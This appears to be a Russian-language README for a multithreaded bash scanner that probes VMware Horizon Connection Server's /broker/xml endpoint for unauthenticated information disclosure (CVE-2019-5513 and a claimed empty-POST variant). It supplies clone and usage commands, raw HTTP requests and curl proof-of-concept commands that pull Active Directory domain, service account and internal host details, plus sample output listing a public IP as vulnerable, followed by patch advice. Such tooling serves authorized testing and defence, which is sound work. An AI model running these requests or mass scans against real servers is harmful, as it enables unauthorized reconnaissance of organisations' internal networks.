
Сервер подключения VMware Horizon часто используется как интернет-шлюз к виртуальной среде рабочего стола организации (VDI). До недавнего времени большинство этих установок раскрывали внутреннее имя сервера подключения, внутренний IP-адрес шлюза и домен Active Directory неаутентифицированным злоумышленникам.
Высокопроизводительный многопоточный сканер для обнаружения уязвимостей раскрытия информации без аутентификации в конечной точке /broker/xml VMware Horizon Connection Server.
VMware Horizon Connection Server предоставляет конечную точку XML API (/broker/xml), которая может раскрывать конфиденциальную внутреннюю информацию о конфигурации без аутентификации. Этот сканер быстро выявляет уязвимые серверы, проверяя два вектора атаки:
get-configuration.<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ Возможности
- Молниеносно — Многопоточная архитектура (по умолчанию 50 параллельных потоков)
- Тестирование двух протоколов — Одновременно проверяет HTTPS (порт 443) и HTTP (порт 80)
- Два вектора атаки — Тестирует пустое тело POST (zero-day) + сформированный XML (CVE-2019-5513)
- Низкие таймауты — Максимум 5 секунд на запрос, 3 секунды на установку соединения
- Понятный вывод — Результаты с цветовой кодировкой и полным XML-ответом для уязвимых хостов
- Экспорт результатов — Сохранить все результаты в файл с опцией -o
- Без зависимостей — Использует только curl (стандартный в большинстве систем)
🚀 Установка
bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 Использование
Базовое сканирование
bash
./broker.sh -d targets.txt
Сканирование с настраиваемым количеством потоков (быстрее)
bash
./broker.sh -d targets.txt -t 100
Сканирование и сохранение результатов
bash
./broker.sh -d targets.txt -t 100 -o results.txt
Параметры командной строки
| Опция | Описание |
|--------|-------------|
| `-d <file>` | Входной файл со списком IP-адресов/имен хостов (по одному на строку) |
| `-t <num>` | Количество потоков (по умолчанию: 50) |
| `-o <file>` | Выходной файл для сохранения результатов |
| `-h` | Показать справку |
Формат входного файла (targets.txt)
text
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 Пример вывода
text
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Сканер уязвимостей VMware Horizon /broker/xml
Многопоточный режим - 50 потоков
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Тестирование: Пустой POST (Zero-Day) + Сформированный XML (CVE-2019-5513)
[*] Протоколы: HTTPS + HTTP (оба тестируются одновременно)
[*] Сканирование 3 хостов...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | УЯЗВИМ | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | НЕ УЯЗВИМ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | УЯЗВИМ | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] СКАНИРОВАНИЕ ЗАВЕРШЕНО
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Всего хостов: 3
Уязвимо: 2
Не уязвимо: 1
Затраченное время: 4 секунды
🔬 Тестирование с Burp Suite
Для ручного тестирования приведены необработанные запросы:
Тест 1: Пустое тело POST (Zero-Day)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
Тест 2: Сформированный XML (CVE-2019-5513)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 Команды curl PoC
Пустое тело POST
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
Сформированный XML
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ Устранение
Обновите VMware Horizon Connection Server до исправленной версии:
| Версия | Исправленный релиз |
|---------|-----------------|
| 7.x | 7.8 или новее |
| 7.5.x | 7.5.2 или новее |
| 6.x | 6.2.8 или новее |
Дополнительные меры защиты:
- Реализуйте контроль доступа к сети для ограничения доступа к конечной точке /broker/xml
- Используйте правила WAF для блокировки неаутентифицированных запросов к этой конечной точке
- Отслеживайте подозрительные POST-запросы к /broker/xml
🙏 Благодарности
Этот инструмент основан на исследованиях следующих специалистов по безопасности:
- Первоначальное обнаружение CVE-2019-5513 — Atredis Partners
- Кори Мэтьюс из Critical Start (независимое обнаружение)
Обнаружение Zero-Day в этом инструменте
Вектор атаки с пустым телом POST был выявлен в ходе дополнительных исследований. Оригинальный CVE требовал сформированной XML-нагрузки; этот инструмент также тестирует метод с пустым телом, который не требует создания нагрузки и еще проще в выполнении.
⚠️ Отказ от ответственности
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное сканирование систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, может нарушать законы и нормативные акты. Авторы не несут ответственности за неправомерное использование.
📄 Лицензия
Лицензия MIT
⭐ Поддержка
Если вы считаете этот инструмент полезным, пожалуйста, поставьте звезду на GitHub!
| Атрибут | Значение |
|---|
| CVE | CVE-2019-5513 |
| CVSS Score | 5.3 (Средний) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Affected Products | VMware Horizon Connection Server 7.x до 7.8, 7.5.x до 7.5.2, 6.x до 6.2.8 |
| Information Leaked | Имя домена Active Directory, имя служебной учетной записи (учетная запись компьютера), внутренние имена хостов, IP-адреса шлюзов |